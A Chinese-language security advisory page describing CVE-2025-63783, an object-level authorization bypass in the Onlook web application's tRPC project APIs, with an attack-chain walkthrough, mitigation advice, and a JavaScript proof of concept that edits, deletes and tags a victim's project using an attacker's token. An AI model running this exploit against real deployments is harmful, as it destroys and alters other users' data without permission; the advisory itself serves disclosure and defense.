IPBUF安全漏洞报告
English
CVE-2025-63783 CVSS 7.6 高危

CVE-2025-63783 Onlook Web应用tRPC API授权绕过漏洞

披露日期: 2025-11-07

漏洞信息

漏洞编号
CVE-2025-63783
漏洞类型
BOLA/IDOR授权绕过
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Onlook web application 0.2.32

相关标签

BOLAIDOR授权绕过tRPC APIOnlookWeb应用漏洞CVE-2025-63783对象级别授权失效

漏洞概述

CVE-2025-63783是Onlook Web应用0.2.32版本中存在的一个严重的授权绕过漏洞。该漏洞位于tRPC项目的mutation APIs中,包括update、delete、add/remove tag等功能接口。由于API在处理项目操作时未正确验证当前认证用户对请求项目ID的所有权或成员资格,攻击者可以利用此漏洞对其他用户的项目进行未授权的修改、删除或标签操作。此漏洞允许已认证的低权限用户通过构造恶意请求,指定其他用户的项目ID来执行敏感操作,严重威胁数据的完整性和可用性。攻击者无需特殊权限或用户交互即可实施攻击,只需在请求中替换目标项目ID即可实现对他人项目的非法访问和控制。

技术细节

该漏洞属于BOLA(Broken Object Level Authorization)类型,即对象级别授权失效。在Onlook应用的tRPC API实现中,mutation端点(update、delete、add/remove tag)在处理用户请求时,直接使用请求参数中的project ID来执行数据库操作,而没有验证当前认证用户是否拥有该项目的访问权限。具体来说,当用户发起项目更新、删除或标签修改请求时,API仅验证用户是否已登录,但未检查用户与目标项目之间的所有权或成员关系。攻击者可以通过拦截正常请求,将project ID替换为其他用户的项目ID,然后重新发送请求。服务器会认为这是合法用户的操作,因为用户身份验证已通过,但实际上该用户并无权操作目标项目。这种授权缺陷使得攻击者可以完全控制任意项目的数据,包括修改项目内容、删除项目或操纵项目标签。

攻击链分析

STEP 1
步骤1
攻击者注册并登录Onlook应用,获取有效的认证令牌(Bearer Token)
STEP 2
步骤2
攻击者通过正常渠道访问自己的项目,拦截HTTP请求以获取tRPC API的请求格式和结构
STEP 3
步骤3
攻击者通过信息收集(如社交工程、猜测或泄露的UUID)获取目标受害者项目的project ID
STEP 4
步骤4
攻击者构造恶意请求,将project ID替换为受害者的项目ID,保持认证令牌不变
STEP 5
步骤5
服务器收到请求后仅验证用户身份(通过Bearer Token),未验证用户对目标项目的权限,直接执行mutation操作
STEP 6
步骤6
攻击者成功修改、删除或操纵目标项目的数据,完成对其他用户项目的未授权访问和控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import fetch from 'node-fetch'; // CVE-2025-63783 PoC - BOLA vulnerability in Onlook tRPC API // Target: Onlook web application 0.2.32 const TARGET_URL = 'http://target-onlook-instance.com'; const ATTACKER_TOKEN = 'attacker-auth-token-here'; async function exploitBola() { const victimProjectId = 'victim-project-uuid-here'; // PoC 1: Unauthorized Project Update const updatePayload = { jsonrpc: '2.0', id: 1, method: 'project.update', params: { projectId: victimProjectId, data: { name: 'Hacked by Attacker', description: 'This project was modified via BOLA vulnerability' } } }; const updateResponse = await fetch(`${TARGET_URL}/trpc`, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${ATTACKER_TOKEN}` }, body: JSON.stringify(updatePayload) }); console.log('Update Response:', await updateResponse.json()); // PoC 2: Unauthorized Project Delete const deletePayload = { jsonrpc: '2.0', id: 2, method: 'project.delete', params: { projectId: victimProjectId } }; const deleteResponse = await fetch(`${TARGET_URL}/trpc`, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${ATTACKER_TOKEN}` }, body: JSON.stringify(deletePayload) }); console.log('Delete Response:', await deleteResponse.json()); // PoC 3: Unauthorized Tag Manipulation const tagPayload = { jsonrpc: '2.0', id: 3, method: 'project.addTag', params: { projectId: victimProjectId, tag: 'malicious-tag' } }; const tagResponse = await fetch(`${TARGET_URL}/trpc`, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${ATTACKER_TOKEN}` }, body: JSON.stringify(tagPayload) }); console.log('Tag Response:', await tagResponse.json()); } exploitBola().catch(console.error);

影响范围

Onlook web application 0.2.32

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1)限制tRPC API的访问频率和来源IP;2)实施额外的应用层防火墙规则;3)监控异常的API调用模式;4)考虑暂时禁用项目的删除和标签修改功能;5)增强用户身份验证机制,如添加双因素认证;6)定期审计用户权限配置,确保遵循最小权限原则。建议尽快升级到官方发布的安全补丁版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表